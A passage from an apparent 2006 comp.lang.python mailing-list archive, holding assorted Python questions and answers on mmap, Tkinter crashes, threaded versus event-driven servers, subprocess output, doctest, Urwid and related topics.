structures, such as trees whose nodes links to their parents and vice versa. GC intercedes at various intervals when convenient. I don't think it would be immediate though. -- Theerasak From sturlamolden at yahoo.no Mon Oct 23 20:57:50 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 23 Oct 2006 17:57:50 -0700 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> Message-ID: <1161651470.010831.93400@m73g2000cwd.googlegroups.com> myeates at jpl.nasa.gov wrote: > Hi > Anyone ever done this? It looks like Python2.4 won't take a length arg > > 2 Gig since its not seen as an int. Looking at Python's source (mmapmodule.c), it seems that "mmap.mmap" always sets the offset argument in Windows' MapViewOfFile and UNIX' mmap to 0. This means that it is always mapping from the beginning of the file. Thus, Python's mmap module is useless for large files. This is really bad coding. The one that wrote mmapmodule.c didn't consider the possibility that a 64 bit file system like NTFS can harbour files to large to fit in a 32 address space. Thus, mmapmodule.c needs to be fixed before it can be used for large files. From mail at microcorp.co.za Wed Oct 4 04:33:55 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Wed, 4 Oct 2006 10:33:55 +0200 Subject: Python/Tkinter crash. Message-ID: <025f01c6e78f$f2d62d60$03000080@hendrik> Hi, I get the following: hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py UpdateStringProc should not be invoked for type font Aborted and I am back at the bash prompt - this is most frustrating, as there is no friendly traceback to help me guess where its coming from. And what is worse, the script runs for a varying time before it simply exits like this. What can I do to dig deeper to try to find a clue? - I don't even know if its Python, Tkinter or Linux... Some background: The application is a prototype gui for a controller of an injection moulding machine. It has two rows of five buttons across the top, and a canvas containing various objects over the rest of the screen. Extensive use is made of configure to change the text of the buttons, as well as their command bindings, to keep "the state of the system" current - its quite a hack at this time, as I am still experimenting with getting the interface intuitive. On the canvas, there are multiple instances of a Meter class to show things like temperatures and pressures, as well as a schematic representation of the machine, created out of polygons and lines. The schematic, as well as the Meters, are crudely animated by deleting and redrawing the objects repetitively with slightly different parameters in response to button presses. This is done by starting different threads to implement the various motions, which repetitively call kill and draw methods in the main app, after which they (the threads) commit seppoku by returning. Everything seems to work fine. - there is a thread that runs to move the meter values around continuously, and this has been stable for some time now, and I can get the various "machine" parts to move around the screen by pushing the buttons. The trouble occurs when I put the "machine" into Auto mode, simulating the various motions in a loop, - it runs for anything from a few tens to a few hundreds of cycles before handing in its dinner pail like this. Any Ideas on what to do next to find the culprit? - Hendrik From exarkun at divmod.com Tue Oct 31 08:39:19 2006 From: exarkun at divmod.com (Jean-Paul Calderone) Date: Tue, 31 Oct 2006 08:39:19 -0500 Subject: Event driven server that wastes CPU when threaded doesn't In-Reply-To: Message-ID: <20061031133919.20948.301768707.divmod.quotient.7364@ohm> On Tue, 31 Oct 2006 07:33:59 GMT, Bryan Olson wrote: >Snor wrote: >> I'm attempting to create a lobby & game server for a multiplayer game, >> and have hit a problem early on with the server design. I am stuck >> between using a threaded server, and using an event driven server. I've >> been told time and time again that I should use an event driven server >> design (that is, use twisted). > >I didn't hear the specifics of how you got that advice, so I >can't comment specifically. I will say that I've have heard a >lot of advice against threads that struck me as simply naive. Much of it is quite well informed. > >> There is a lot of interaction between the clients and they would often >> need to write to the same list of values, which of course becomes a >> problem with a threaded server - so event driven solves that problem, >> and I assumed it would solve all my problems. [...] > >The purely event-driven style solves some problems, but creates >others. You're forced to structure your code around the blocking >behavior, and that's not the structure anyone would choose for >clarity or maintainability. This is not the case. However, much event-driven code is written this way anyway, intentionally, for clarity. If you _want_ opaque code, or for some reason think it is not opaque to write code in this manner, then there you can use a library which supports this. > >Suppose we're enhancing an event-driven system, and decide to >relocate some datum from a variable to the database. Suppose in >one or more places, accessing the data happens in a call chain >several function down from the event loop. We can't just change >the function that accesses the data because a synchronous >database call could block and stop event processing. Every >interface on the call chain is broken. As it must be, because you have changed the atomicity of an operation. Transparently propagating this up a call stack leads to bugs which are similar to those found in a system based on pre-emptive multithreading. > >[...] >> I will want the server to support as many users as is possible on any >> given machine - and so wasted CPU cycles is something I am trying to >> avoid. > >Python is a great scripting language, but squeezing out machine >performance is not where scripting languages shine. That said, you >might start in Python, to see if your system is successful and the >performance of your server really is a limiting factor. > > >> Is the only solution to use a threaded server to let my clients make >> their requests and receive a response in the fastest possible time? > >Maybe. Probably not. It's all good -- multi-threading is your friend. > Multithreading is _someone's_ friend. Probably not the OP's, whose original post made it sound very strongly like he just needed network concurrency, which is a perfectly fine use-case for event-driven style rather than pre-emptive threading. Jean-Paul From johnjsal at NOSPAMgmail.com Tue Oct 31 16:01:24 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Tue, 31 Oct 2006 21:01:24 GMT Subject: best way to check if a file exists? Message-ID: What is the best way to check if a file already exists in the current directory? I saw os.path.isfile(), but I'm not sure if that does more than what I need. I just want to check if a file of a certain name exists before the user creates a new file of that name. Thanks. From keith at keithperkins.net Wed Oct 4 18:08:49 2006 From: keith at keithperkins.net (Keith Perkins) Date: Wed, 04 Oct 2006 22:08:49 GMT Subject: can't open chm files all of a sudden References: <45233927$0$1761$c3e8da3@news.astraweb.com> <45233a81$0$30748$c3e8da3@news.astraweb.com> <1159951350.208619.222470@m73g2000cwd.googlegroups.com> Message-ID: On Wed, 04 Oct 2006 16:34:43 +0000, Dennis Lee Bieber wrote: > On Wed, 04 Oct 2006 15:55:11 GMT, John Salerno > declaimed the following in comp.lang.python: > >> the files in a day or two). All I've installed/uninstalled since then >> was HTML Kit. I'm not on a network, it's just me. I redownloaded the chm >> file for Python24 and it does the same thing. >> > Try some other help files... I'd be likely to suspect it was HTML > Kit that overlayed some DLL in the help system... > > (Yeesh -- Just looked at the HTML Kit home page... In the words of Clara > Peller "Where's the beef?"... Lots of glitzy public relations copy, but > no details on exactly what it does, what tools it competes with, etc.) I used HTMLKit when I still used Windows, and liked it a lot. It's really a great HTML/PHP, etc. editor, if you can get past the front page. That being said (if I remember correctly) hh.exe is a part of htmlkit, and may have been the the cause of your problem by making itself the default chm reader. (Check your settings under files to see what you have as the default reader now. (and sorry, forgot how to do that, it's been almost two years since I've had to fiddle with Windows, so I'm not sure of the exact place to check for it.)) Keith From peter.maas at somewhere.com Thu Oct 12 14:15:11 2006 From: peter.maas at somewhere.com (Peter Maas) Date: Thu, 12 Oct 2006 20:15:11 +0200 Subject: Python component model In-Reply-To: <1160635583.128296.21270@m73g2000cwd.googlegroups.com> References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> <1160635583.128296.21270@m73g2000cwd.googlegroups.com> Message-ID: Kay Schluehr wrote: > Peter Maas wrote: >> How many programmers don't use Python because of the self issue? > > The only reason I know why self shall not be inforced is reducing the > number of troll postings. The only method that works to reduce the number of troll postings is: spot them, then ignore them. But some lengthy threads in c.l.p suggest that quite a few c.l.p participants enjoy conversation with trolls or are slow at spotting :) -- Regards/Gruesse, Peter Maas, Aachen E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64') From tomas.horacek at gmail.com Fri Oct 27 04:27:13 2006 From: tomas.horacek at gmail.com (heracek) Date: 27 Oct 2006 01:27:13 -0700 Subject: run subprocess in separate window In-Reply-To: <1160930616.489486.184800@i3g2000cwc.googlegroups.com> References: <1160930616.489486.184800@i3g2000cwc.googlegroups.com> Message-ID: <1161937633.485546.67980@i3g2000cwc.googlegroups.com> On Oct 15, 6:43 pm, "Radek" wrote: > Currently when using subprocess.Popen("mycommand") all output goes to > the stdout of my launcher. > Hi, the solution is: p = subprocess.Popen(args=['command', 'arg1', 'arg2'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) print p.stdout.read() # stderr and strout mix or: p = subprocess.Popen(args=['command', 'arg1', 'arg2'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) print p.stderr.read() print p.stdout.read() h. From horpner at yahoo.com Tue Oct 24 11:07:40 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 24 Oct 2006 17:07:40 +0200 Subject: The format of filename References: Message-ID: On 2006-10-24, Neil Cerutti wrote: > Is translation of '/' to '\\' a feature of Windows or Python? Well, *that* was easy to discover on my own. ;-) Thanks for the pointers. -- Neil Cerutti From steve at holdenweb.com Sun Oct 29 00:39:22 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 29 Oct 2006 04:39:22 +0000 Subject: PROBLEM with MOD_PYTHON In-Reply-To: <1162078593.581132.279220@h48g2000cwc.googlegroups.com> References: <1162041564.610155.278270@h48g2000cwc.googlegroups.com> <1162078593.581132.279220@h48g2000cwc.googlegroups.com> Message-ID: grahamd at dscpl.com.au wrote: [...] > BTW, there is a mailing list specifically for mod_python. You might be > better off asking questions directly there, as we have seen most > problems. You can also search the mailing list archives from the > mod_python site. > > BTW, the quadruple backslashes is indeed because of the use of repr() > when doing the error dump. For gmane users the list is also available as newsgroup gmane.comp.python.mod_python regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From johnjsal at NOSPAMgmail.com Mon Oct 23 10:31:54 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Mon, 23 Oct 2006 14:31:54 GMT Subject: Rate my reply In-Reply-To: <1161400896.021188.108240@f16g2000cwb.googlegroups.com> References: <1161399285.948294.212870@m73g2000cwd.googlegroups.com> <1161400896.021188.108240@f16g2000cwb.googlegroups.com> Message-ID: Paddy wrote: > What I am interested in is if John and others might just take time out > to critique the replies. I'm interested in what the group think makes a > good comp.lang.python reply: too short, too long; too cryptic, too > simplistic, too polite (is their such a thing), too nasty; too > self-effacing, too self-promoting; too long a sig ;-) , too anonymous Thanks for the reply. It's kind of hard for me to critique your reply at this point, because I'm starting to understand my problem now. But what I liked about your help was that you took it in steps and show each process. What's always a little confusing is when people immediately resort to examples for help instead of explaining it in words first, because often times this just duplicates the confusion for the OP. But examples definitely help! From onurb at xiludom.gro Tue Oct 17 05:45:57 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 17 Oct 2006 11:45:57 +0200 Subject: python's OOP question In-Reply-To: <1161054047.278803.241040@h48g2000cwc.googlegroups.com> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965758.324644.131920@i42g2000cwa.googlegroups.com> <1160969393.803021.274070@e3g2000cwe.googlegroups.com> <45334fa9$0$5656$426a74cc@news.free.fr> <1160991239.541020.115320@m7g2000cwm.googlegroups.com> <453382b6$0$8601$426a74cc@news.free.fr> <1161054047.278803.241040@h48g2000cwc.googlegroups.com> Message-ID: <4534a656$0$19612$426a74cc@news.free.fr> neoedmund wrote: (snip) > So I can reuse a method freely only if it's worth reusing. > For the word "inheritance", in some aspect, meanings reuse the super > class, with the condition: must reuse everything from super class. Not really. In fact, inheritance *is* a special case of composition/delegation. A 'child' class is a class that has references to other classes - it's 'parents' -, and then attributes that are not found in the instance or child class are looked up in the parents (according to mro rules in case of multiple inheritance). And that's all there is. > It's lack of a option to select which methods are to be reused. Methods not redefined in the 'child' class or it's instance are 'reusable'. Now they are only effectively 'reused' if and when called by client code. So the 'option to select which methods are to be reused' is mostly up to both the 'child' class and code using it. > this is something should be improved for general OOP i think. > So to answer " What is your problem with having the other extra methods > too ?", > in real life, a class is not defined so well that any method is needed > by sub-class. Then perhaps is it time to refactor. A class should be a highly cohesive unit. If you find yourself needing only a specific subset of a class, it may be time to extract this subset in it's own class. Given Python's support for both multiple inheritance and composition/delegation, it's usually a trivial task (unless you already mixed up too many orthogonal concerns in your base class...). -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From devilwolf22 at gmail.com Thu Oct 5 21:59:58 2006 From: devilwolf22 at gmail.com (Steve Menard) Date: Thu, 5 Oct 2006 21:59:58 -0400 Subject: Metaprogramming question Message-ID: I have a need to create class instance without invokking the class' __init__ method. Were I using old-style classes, I'd use new.instance() function. However, I am using new-style classes and new.instance() complain "TypeError: instance() argument 1 must be classobj, not type" ... So my question is, how to replicate new.instance() functionality with new classes? Steve Menard Author and Maintainer of http://jpype.sourceforge.net From jfabiani at yolo.com Mon Oct 23 01:33:50 2006 From: jfabiani at yolo.com (johnf) Date: Sun, 22 Oct 2006 22:33:50 -0700 Subject: Python and CMS References: Message-ID: <2vY_g.89$vT7.77@newsfe03.lga> Echo wrote: > I am going to start working on a church website. And since I like > python, I decided to use WSGI. However, I later found out about all > the different CMS's in php. So I wondered if there where any in > python. > > Sadly, I only found Plone, skeletonz, and PyLucid (If there is any > more, please let me know). Of those three, only PyLucid supports WSGI > and it didn't look very nice to me. > Both Plone and skeletonz looked very nice. However, they can't be > hosted on a regular web host(at least to my knowledge) since they run > as the web server themselves. So hosting would cost more, at least 2-3 > times more from what I've seen. > > So I'm thinking of making a python CMS based on WSGI. I'm now trying > to figure out a few things like the best way to store the content and > how to manage/use plugins. For storing the content, the only ways I > know of are as files or in a database. But I'm not sure what would be > better. And as for how to do plugings, I plan on looking at Plone and > skeletonz. > > As for working with WSGI, I have found > Colubrid(http://wsgiarea.pocoo.org/colubrid/) and > Paste(http://pythonpaste.org/). I was wondering if anyone knew of any > other libraries that make working with WSGI easier. Also, I wondering > if anyone would like to share their experiences of working with those. > > > ps. I know that this is a big and complicated project. But no matter > how far I get, it will be fun because its Python:) > Turbogears??? John From ath-admin at vt.edu Mon Oct 9 10:00:12 2006 From: ath-admin at vt.edu (rick) Date: Mon, 09 Oct 2006 10:00:12 -0400 Subject: file system iteration In-Reply-To: References: Message-ID: Georg Brandl wrote: > Which application needs to walk over ALL files? Normally, you just have a > starting path and walk over everything under it. Searching for a file by name. Scanning for viruses. Etc. There are lots of legitimate reason to walk all paths from a central starting point, no??? From ian at excess.org Mon Oct 2 00:29:35 2006 From: ian at excess.org (Ian Ward) Date: Mon, 02 Oct 2006 00:29:35 -0400 Subject: ANN: Urwid 0.9.7 - Console UI Library Message-ID: <452095AF.3090503@excess.org> Announcing Urwid 0.9.7 ---------------------- Urwid home page: http://excess.org/urwid/ Tarball: http://excess.org/urwid/urwid-0.9.7.tar.gz About this release: =================== This release adds a new BigText widget for banners and text that needs to stand out on the screen. A new example program demonstrating BigText usage and a number of fonts are included. This widget is a fixed widget, a new alternative to flow widgets and a box widgets. Fixed widgets may be displayed within Overlay or Padding widgets to handle changing screen sizes. New in this release: ==================== - Added initial support for fixed widgets - widgets that have a fixed size on screen. Fixed widgets expect a size parameter equal to (). Fixed widgets must implement the pack(..) function to return their size. - New BigText class that draws text with fonts made of grids of character cells. BigText is a fixed widget and doesn't do any alignment or wrapping. It is intended for banners and number readouts that need to stand out on the screen. Fonts: Thin3x3Font, Thin4x3Font, Thin6x6Font (full ascii) UTF-8 only fonts: HalfBlock5x4Font, HalfBlock6x5Font, HalfBlockHeavy6x5Font, HalfBlock7x7Font (full ascii) New function get_all_fonts() may be used to get a list of the available fonts. - New example program bigtext.py demonstrates use of BigText. - Padding class now has a clipping mode that pads or clips fixed widgets to make them behave as flow widgets. - Overlay class can now accept a fixed widget as the widget to display "on top". - New Canvas functions: pad_trim(..) and pad_trim_left_right(..). - Fixed a bug in Filler.get_cursor_coords(..) that causes a crash if the contained widget's get_cursor_coords(..) function returns None. - Fixed a bug in Text.pack(..) that caused an infinite loop when the text contained a newline. This function is not currently used by Urwid. - Edit.__init__(..) now calls set_edit_text(..) to initialize its text. - Overlay.calculate_padding_filler(..) and Padding.padding_values(..) now include focus parameters. About Urwid =========== Urwid is a console UI library for Python. It features fluid interface resizing, UTF-8 support, multiple text layouts, simple attribute markup, powerful scrolling list boxes and flexible interface design. Urwid is released under the GNU LGPL. From tdelaney at avaya.com Tue Oct 24 00:50:36 2006 From: tdelaney at avaya.com (Delaney, Timothy (Tim)) Date: Tue, 24 Oct 2006 14:50:36 +1000 Subject: Sorting by item_in_another_list Message-ID: <2773CAC687FD5F4689F526998C7E4E5F074422@au3010avexu1.global.avaya.com> Cameron Walsh wrote: > Hi, > > I have two lists, A and B, such that B is a subset of A. > > I wish to sort A such that the elements in B are at the beginning of > A, and keep the existing order otherwise, i.e. stable sort. The > order of elements in B will always be correct. > > for example: > > A = [0,1,2,3,4,5,6,7,8,9,10] > B = [2,3,7,8] > > desired_result = [2,3,7,8,0,1,4,5,6,9,10] c = set(B) a.sort(key=c.__contains__, reverse=True) Tim Delaney From noway at sorry.com Sat Oct 7 03:52:34 2006 From: noway at sorry.com (Giovanni Bajo) Date: Sat, 07 Oct 2006 07:52:34 GMT Subject: n-body problem at shootout.alioth.debian.org References: Message-ID: <61JVg.138429$_J1.903927@twister2.libero.it> Peter Maas wrote: > I have noticed that in the language shootout at > shootout.alioth.debian.org the Python program for the n-body problem > is about 50% slower than the Perl program. This is an unusual big > difference. I tried to make the Python program faster but without > success. Has anybody an explanation for the difference? It's pure > math so I expected Perl and Python to have about the same speed. Did you try using an old-style class instead of a new-style class? -- Giovanni Bajo From steve at REMOVE.THIS.cybersource.com.au Sat Oct 28 18:17:38 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sun, 29 Oct 2006 09:17:38 +1100 Subject: Safely renaming a file without overwriting References: <72sb14-08j.ln1@darkstargames.dnsalias.net> <4qh8u1Fn1s4aU1@uni-berlin.de> Message-ID: On Sat, 28 Oct 2006 16:48:37 +0200, Diez B. Roggisch wrote: > Where does that help for new files? The OP was right in assuming that a > race condition could occur when he tests for a file & then tries to > create it, as in the meantime it could have been created. Ah! "Race condition" -- that was the term I was looking for ... now maybe I'll have some better results with Google. -- Steven. From jjl at pobox.com Sat Oct 7 07:21:50 2006 From: jjl at pobox.com (John J. Lee) Date: Sat, 07 Oct 2006 11:21:50 GMT Subject: News on versions modules for Python-2.5? References: <45269df8$0$25949$ba4acef3@news.orange.fr> <1160167602.875088.43310@c28g2000cwb.googlegroups.com> Message-ID: <87hcyg1icx.fsf@pobox.com> "sjdevnull at yahoo.com" writes: > M?ta-MCI wrote: > > And who can confirm that these modules are independent of Python version? > > > > ReportLab > > I can't confirm it's 100% independent, but I have been using reportlab > on Windows and Linux with Python 2.5. If anything in the ReportLab open source toolkit doesn't work with Python 2.5, it's a bug. (and as I say, I don't remember any bug reports about problems using it with Python 2.5 yet) I'm not really sure what "100% independent of Python version" means, but guessing that in practice, what the OP was interested in was "supported under, and works fine with, Pythons 2.4 and 2.5", and the answer to that is a definite "yes" :-) John From horpner at yahoo.com Fri Oct 20 15:29:51 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 20 Oct 2006 21:29:51 +0200 Subject: doctest and exposing internals. Message-ID: I'm using doctest for the first time, and boy is it cool. But I'm nervous about exposing library internals in the docstring. def glk_cancel_char_event(win): """ Cancel a pending request for character input. win must be a valid Glk window. >>> glk_cancel_char_event([]) Glk library error: cancel_char_event: invalid id Here's an example of correct usuage. >>> main = glk_window_open(0, 0, 0, wintype_TextBuffer, 1) >>> glk_request_char_event(main) >>> glk_cancel_char_event(main) >>> main.char_request False For convenience, it's OK to call this function when a character input request is not pending, in which case it has no effect. >>> glk_cancel_char_event(main) >>> glk_window_close(main) (0, 0) """ if win != glk_window.main: _strict_warning("cancel_char_event: invalid id") return glk_window.main.char_request = False The example of correct usage it what's wrong with the docstring. There's no interface for checking if an event is queued in Glk, so I resorted to exposing the internal state main.char_request in the doc string. What are the alternatives? In addition, the last test in the docstring is only there to ensure that other tests can open a window themselves (this version of the library only allows one window to be open at a time). -- Neil Cerutti From MonkeeSage at gmail.com Fri Oct 6 01:54:46 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 5 Oct 2006 22:54:46 -0700 Subject: help on pickle tool References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> Message-ID: <1160114085.944898.224340@k70g2000cwa.googlegroups.com> hanumizzle wrote: > Why a subset? I don't think JSON is a subset of YAML. Regards, Jordan From bignose+hates-spam at benfinney.id.au Wed Oct 11 01:38:01 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 11 Oct 2006 15:38:01 +1000 Subject: Difference between unindexable and unsubscriptable References: Message-ID: <87zmc376py.fsf@benfinney.id.au> Jackson writes: > I would like to test if an object can accept: obj[0] Then do so. Use the object in the way you want to use it, and catch any exceptions that you want to handle. > >>> from sets import Set > >>> Set([1,2])[0] > TypeError: unindexable object > > >>> 3[0] > TypeError: unsubscriptable object > > It seems like each of these errors can be replaced with a single > type error. Well, they are both merely instances of TypeError, just with a different message. Catching 'TypeError' will catch either of them. I agree, though, that it would be preferable to have the same message for these two cases that appear to be saying the same thing. -- \ "The trouble with eating Italian food is that five or six days | `\ later you're hungry again." -- George Miller | _o__) | Ben Finney From martin at v.loewis.de Tue Oct 10 03:53:52 2006 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Tue, 10 Oct 2006 09:53:52 +0200 Subject: does raw_input() return unicode? In-Reply-To: <12iln7en9ipit77@corp.supernews.com> References: <12iln7en9ipit77@corp.supernews.com> Message-ID: <452b5190$0$29833$9b622d9e@news.freenet.de> Stuart McGraw schrieb: > So, does raw_input() ever return unicode objects and if > so, under what conditions? At the moment, it only returns unicode objects when invoked in the IDLE shell, and only if the character entered cannot be represented in the locale's charset. Regards, Martin From filip.salomonsson at gmail.com Tue Oct 24 15:37:26 2006 From: filip.salomonsson at gmail.com (Filip Salomonsson) Date: Tue, 24 Oct 2006 21:37:26 +0200 Subject: Visibility against an unknown background In-Reply-To: References: <1161701658.722683.46230@e3g2000cwe.googlegroups.com> Message-ID: <2f334ccd0610241237q430e6199g1f10daf7421fd7f5@mail.gmail.com> On 10/24/06, Sergei Organov wrote: > I'd be very upset to see, say, 5-6 highly intersecting > scientific plots on the same picture drawn using the > "marching ants" approach. I'd be a bit upset to see scientific plots *on a picture* at all, regardless of approach. -- filip salomonsson From ajones1 at gmail.com Fri Oct 27 15:14:57 2006 From: ajones1 at gmail.com (Adam Jones) Date: 27 Oct 2006 12:14:57 -0700 Subject: What's the best IDE? In-Reply-To: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> Message-ID: <1161976496.903281.302940@i42g2000cwa.googlegroups.com> Hakusa at gmail.com wrote: > Recently I've had some problems with PythonWin when I switched to > Py2.5, tooka long hiatus, and came back. So now I'm without my god sent > helper, and I'm looking for a cool replacement, or some advocation to > reinstall/setup PyWin. But the Python website's list is irrefutably > long. It would take a month or two to test all of those products. So > I'm looking for experienced advocates. > > What's your favorite IDE? emacs > What do you like about it? It does just about everything. It can edit just about every kind of code I use, read my mail, connection to irc ... everything. Well, except order pizza, but I think it might be possible to make that happen as well. > It would be fine for a begginer, right? Probably not. I think you have to spend enough time with environments that don't let you integrate everything into the editor before you can really understand why people love emacs (and vi) so much. -Adam From hxianping at gmail.com Sat Oct 21 06:02:10 2006 From: hxianping at gmail.com (steve) Date: 21 Oct 2006 03:02:10 -0700 Subject: Is x.f() <==>MyClass.f(x) a kind of algebraic structure? Message-ID: <1161424930.151657.18530@m7g2000cwm.googlegroups.com> I thought that when read Guido van Rossum' Python tutorial.What can we think that? From steve at REMOVE.THIS.cybersource.com.au Sat Oct 28 05:45:08 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sat, 28 Oct 2006 19:45:08 +1000 Subject: Need help (Basic python)...what did I do wrong? References: <1162024619.913197.302700@m73g2000cwd.googlegroups.com> Message-ID: On Sat, 28 Oct 2006 18:56:33 +1000, Ben Finney wrote: > "frankie_85" writes: > >> I just made a simple code which is part of my assignment > > You may want to review the restrictions your educational institution > has on collusion. [snip] > Again, please make sure you work on these problems yourself; your > assessment should not be testing your ability to ask on the internet > for assistance. I don't think the restrictions against collusion are meant to prohibit simple "what does this error message mean?" type questions. It would be a funny sort of learning process that forced students to live in a vacuum, never discussing their topic with anyone else, never asking the most trivial questions. -- Steven. From scott.daniels at acm.org Sun Oct 8 14:13:17 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Sun, 08 Oct 2006 11:13:17 -0700 Subject: A critique of cgi.escape In-Reply-To: References: Message-ID: <452937b0$1@nntp0.pdx.net> Lawrence D'Oliveiro wrote: > Another useful function is this: > > def JSString(Str) : > """returns a JavaScript string literal that evaluates to Str.... You can do this more simply: _map = {"\\" : "\\\\", "\"" : "\\\"", "\t" : "\\t", "\n" : "\\n"} def JSString(Str) : mapped = [_map.get(Ch, Ch) for Ch in Str] return "\"" + "".join(mapped) + "\"" -- --Scott David Daniels scott.daniels at acm.org From ed at leafe.com Wed Oct 11 21:51:36 2006 From: ed at leafe.com (Ed Leafe) Date: Wed, 11 Oct 2006 21:51:36 -0400 Subject: Python component model In-Reply-To: References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> <1160502439.729432.13480@h48g2000cwc.googlegroups.com> Message-ID: On Oct 10, 2006, at 9:59 PM, Edward Diener No Spam wrote: > The Visual Studio RAD IDE environment actually modifies source code > constructors, via an InitializeComponent() function called from it, in > order to set properties and events in components. It does mark the > function as such with comments in the source code. OTOH Borland's VCL > uses the resource file technique you scorn above, linking in the code > via resources and automatically updating a component's properties and > events from base class components constructors. I believe Java's JVM > automatically deserializes .ser files at run-time saved by a RAD > designer in order to set properties and events on an object of a > class. > > There are obviously numerous techniques, so one should theoretically > work well with Python. With Dabo, we've taken what we feel is a 'best of breed' approach. The constructors for the various objects are defined in XML-formatted files, making them accessible by any editor. The code behind these objects is stored in regular .py files, with special comment lines that provide the linkage back to the original object definition. So you can edit your code in your favorite Python editor, and it all just works. -- Ed Leafe -- http://leafe.com -- http://dabodev.com From hiroc13 at hotmail.com Wed Oct 4 04:30:01 2006 From: hiroc13 at hotmail.com (hiroc) Date: 4 Oct 2006 01:30:01 -0700 Subject: hex sending In-Reply-To: References: <1159949891.962523.182880@c28g2000cwb.googlegroups.com> Message-ID: <1159950601.039132.17120@h48g2000cwc.googlegroups.com> I want send pairs of hexadecimal characters, abc is only my test hex char is real Fredrik Lundh wrote: > "hiroc" wrote: > > > s.send("abc") # send test string > > > > I need to send hex:"10 06 00 0f 02 bc d1" instead of "abc" > > do you want to send seven binary bytes, or pairs of hexadecimal characters > separated by whitespace ? > > how do you map from "abc" to "10 06 00 0f 02 bc d1", by the way? what > encoding is that? > > From paul at subsignal.org Mon Oct 16 09:41:12 2006 From: paul at subsignal.org (paul) Date: Mon, 16 Oct 2006 15:41:12 +0200 Subject: wx.grid question (trying to use code from Grid_Example.py) In-Reply-To: <1160974069.893127.93140@k70g2000cwa.googlegroups.com> References: <1160973960.113552.200490@i3g2000cwc.googlegroups.com> <1160974069.893127.93140@k70g2000cwa.googlegroups.com> Message-ID: Eric_Dexter at msn.com schrieb: > To extend and revise my remarks my error is > > File "C:\Python24\Lib\site-packages\boa-constructor\test of > snake\csoundgrid.py", line 8, in create_grid > win = Grid_MegaExample.MegaTable(self, data, colnames, pugins) > NameError: global name 'self' is not defined > Script terminated. This has nothing to do with wx, you just don't use "self" if you're _calling_ a method. So: def create_grid(): win = Grid_MegaExample.MegaTable(data, colnames, pugins) win.Show(True) should get you to the next error ;) cheers paul From tnleeuw at gmail.com Fri Oct 20 11:55:24 2006 From: tnleeuw at gmail.com (Tim N. van der Leeuw) Date: 20 Oct 2006 08:55:24 -0700 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <1161352970.123247.322140@i42g2000cwa.googlegroups.com> Message-ID: <1161359724.309189.109020@k70g2000cwa.googlegroups.com> Fredrik Lundh wrote: > Tim N. van der Leeuw wrote: > > > In practice, the short-term fix would be to add a __str__ method to the > > 'reversed' object > > so what should > > str(reversed(range(10))) > > do ? > My idea was that reversed.__str__() would do something like the equivalent of ''.join(reversed(...)) Playing in the interactive shell with that idea I quickly realized that this would of course consume the iterator as a side-effect... Which is most likely to be undesirable. (It works well if you just write it as in the examples above, where the 'reversed' object is temporary and instantly thrown away. But if you assign the iterator object, in this case 'reversed', to an instance variable then it should be immediately obvious that having the iterator consumed as side-effect of calling it's __str__ method is very, very wrong...) > > and perhaps to all iterators too (so that trying to build a string from an > > iterator would do the obvious thing). > > all iterators? who's going to do that? > It's not as easy as I expected. But if we could come up with a reasonable way to create a __str__ method for iterators, well who knows I might give it a go. (It would be my first C code in many years though) > Cheers, --Tim From johnjsal at NOSPAMgmail.com Wed Oct 25 14:26:27 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 18:26:27 GMT Subject: cleaner way to write this? In-Reply-To: <7xac3kb6do.fsf@ruckus.brouhaha.com> References: <7xac3kb6do.fsf@ruckus.brouhaha.com> Message-ID: Paul Rubin wrote: > I like > > if dlg.ShowModal() == wx.ID_OK: > db_name = dlg.GetValue() > else: > db_name = None > dlg.Destroy() > return db_name > > better than > > db_name = None > if dlg.ShowModal() == wx.ID_OK: > db_name = dlg.GetValue() > dlg.Destroy() > return db_name > Thanks guys! I didn't think about setting db_name to None in that way! From apardon at forel.vub.ac.be Fri Oct 27 14:22:28 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 27 Oct 2006 18:22:28 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> 